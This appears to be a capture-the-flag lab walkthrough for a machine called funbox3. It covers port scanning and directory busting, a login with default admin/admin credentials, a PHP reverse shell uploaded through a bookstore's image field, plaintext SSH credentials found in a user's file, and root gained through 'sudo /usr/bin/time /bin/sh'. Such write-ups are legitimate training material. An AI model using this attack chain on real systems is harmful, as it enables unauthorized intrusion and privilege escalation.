

Scanning

```
(moghees@kali)-[~/lab]
$ cat nmap.scan
# Nmap 7.94SVN scan initiated Tue Mar  5 10:36:17 2024 as: nmap -A -sC -sV -oN nmap.scan 192.168.178.111
Nmap scan report for 192.168.178.111
Host is up (0.27s latency).
Not shown: 989 closed tcp ports (conn-refused)
PORT      STATE      SERVICE      VERSION
22/tcp    open      ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 b2:d8:51:6e:c5:84:05:19:08:eb:c8:58:27:13:13:2f (RSA)
|   256  b0:de:97:03:a7:2f:f4:e2:ab:4a:9c:d9:43:9b:8a:48 (ECDSA)
|_  256  9d:0f:9a:26:38:4f:01:80:a7:a6:80:9d:d1:d4:cf:ec (ED25519)
80/tcp    open      http         Apache httpd 2.4.41 ((Ubuntu))
|_ http-title: Apache2 Ubuntu Default Page: It works
|_ http-server-header: Apache/2.4.41 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_ gym
1113/tcp  filtered  ltp-deepspace
2004/tcp  filtered  mailbox
2717/tcp  filtered  pn-requester
3005/tcp  filtered  deslogin
3851/tcp  filtered  spectraport
3880/tcp  filtered  igmp
6059/tcp  filtered  X11:59
9080/tcp  filtered  glrpc
10778/tcp filtered  unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Enumeration

- Directory Busting

```

(moghees@kali)-[~/lab]
$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.178.111

```

```

Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

```

```

[+] Url:          http://192.168.178.111
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:      /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent:    gobuster/3.6
[+] Timeout:      10s

```

```

Starting gobuster in directory enumeration mode

```

```

/store      (Status: 301) [Size: 318] [→ http://192.168.178.111/store/]
/admin      (Status: 301) [Size: 318] [→ http://192.168.178.111/admin/]
/secret     (Status: 301) [Size: 319] [→ http://192.168.178.111/secret/]
Progress: 9520 / 220561 (4.32%)

```

-Robots.txt



- There were different login pages at **/admin**, **/gym** and **store/admin.php**
- I tried default credentials on all and they worked on **store/admin.php**

Name: **admin**


















Pass: **admin**

- Here I was able to edit books info.
- There was an upload option. I uploaded php reverse shell payload and ran it.

| | |
|--|--|
| ISBN | <input type="text" value="978-1-49192-706-9"/> |
| Title | <input type="text" value="C# 6.0 in a Nutshell, 6th Editi"/> |
| Author | <input type="text" value="Joseph Albahari, Ben Albahari"/> |
| Image | <input type="button" value="Choose file"/> php_reverse_shell.php |
| Description | <div>When you have questions about C# 6.0 or the .NET CLR and its core Framework assemblies, this bestselling guide has the answers you need. C# has become a language of unusual flexibility and breadth since its premiere in 2000, but this continual</div> |
| Price | <input type="text" value="20.00"/> |
| Publisher | <input type="text" value="O'Reilly Media"/> |
| <div><input type="button" value="Change"/> <input type="button" value="cancel"/></div> <div><input type="button" value="Confirm"/></div> | |

- The image was not changed so I thought there was an issue. But when I opened **/store/bootstrap/img/** from source code, I found this:

Index of /store/bootstrap/img

| <u>Name</u> | <u>Last modified</u> | <u>Size</u> | <u>Description</u> |
|--|----------------------|-------------|--------------------|
|  Parent Directory | | - | |
|  android_studio.jpg | 2019-10-06 19:09 | 37K | |
|  beauty_js.jpg | 2019-10-06 19:09 | 43K | |
|  c_14_quick.jpg | 2019-10-06 19:09 | 38K | |
|  c_sharp_6.jpg | 2019-10-06 19:09 | 39K | |
|  doing_good.jpg | 2019-10-06 19:09 | 47K | |
|  img1.jpg | 2019-10-06 19:09 | 4.9K | |
|  img2.jpg | 2019-10-06 19:09 | 5.6K | |
|  img3.jpg | 2019-10-06 19:09 | 4.8K | |
|  kotlin_250x250.png | 2019-10-06 19:09 | 4.8K | |
|  logic_program.jpg | 2019-10-06 19:09 | 44K | |
|  mobile_app.jpg | 2019-10-06 19:09 | 34K | |
|  php_reverse_shell.php | 2024-03-05 06:20 | 3.4K | |
|  pro_asp4.jpg | 2019-10-06 19:09 | 48K | |
|  pro_js.jpg | 2019-10-06 19:09 | 48K | |
|  unnamed.png | 2019-10-06 19:09 | 8.9K | |
|  web_app_dev.jpg | 2019-10-06 19:09 | 42K | |

Apache/2.4.41 (Ubuntu) Server at 192.168.178.111 Port 80

I got foothold.

Horizontal Privilege Escalation

Got foothold. User flag was at **/var/www/local.txt**

```

www-data@funbox3:/$ ls
bin    dev    lib    libx32  mnt    root    snap    sys    var
boot   etc    lib32  lost+found  opt    run    srv      tmp
cdrom  home   lib64  media    proc   sbin    swap.img  usr
www-data@funbox3:/$ pwd
/
www-data@funbox3:/$ ls
bin    dev    lib    libx32  mnt    root    snap    sys    var
boot   etc    lib32  lost+found  opt    run    srv      tmp
cdrom  home   lib64  media    proc   sbin    swap.img  usr
www-data@funbox3:/$ cd home
www-data@funbox3:/home$ ls
tony
www-data@funbox3:/home$ cd tony
www-data@funbox3:/home/tony$ ls
password.txt
www-data@funbox3:/home/tony$ cat password.txt
ssh: yxcvbnmYYY
gym/admin: asdfghjklXXX
/store: admin@admin.com admin
www-data@funbox3:/home/tony$ █

```

I got ssh credentials from the file.

Username: **tony**

Password: **yxcvbnmYYY**

Vertical Privilege Escalation

```

tony@funbox3:~$ sudo -l
Matching Defaults entries for tony on funbox3:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User tony may run the following commands on funbox3:
    (root) NOPASSWD: /usr/bin/yelp
    (root) NOPASSWD: /usr/bin/dmfc
    (root) NOPASSWD: /usr/bin/whois
    (root) NOPASSWD: /usr/bin/rlogin
    (root) NOPASSWD: /usr/bin/pkexec
    (root) NOPASSWD: /usr/bin/mtr
    (root) NOPASSWD: /usr/bin/finger
    (root) NOPASSWD: /usr/bin/time
    (root) NOPASSWD: /usr/bin/cancel
    (root) NOPASSWD: /root/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/q/r/s/t/u/v/w/x/y/z/.smile.sh
tony@funbox3:~$ █

```

Exploiting **time** to get root shell.

| Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo /usr/bin/time /bin/sh
```

```
tony@funbox3:~$ sudo /usr/bin/time /bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
# █
```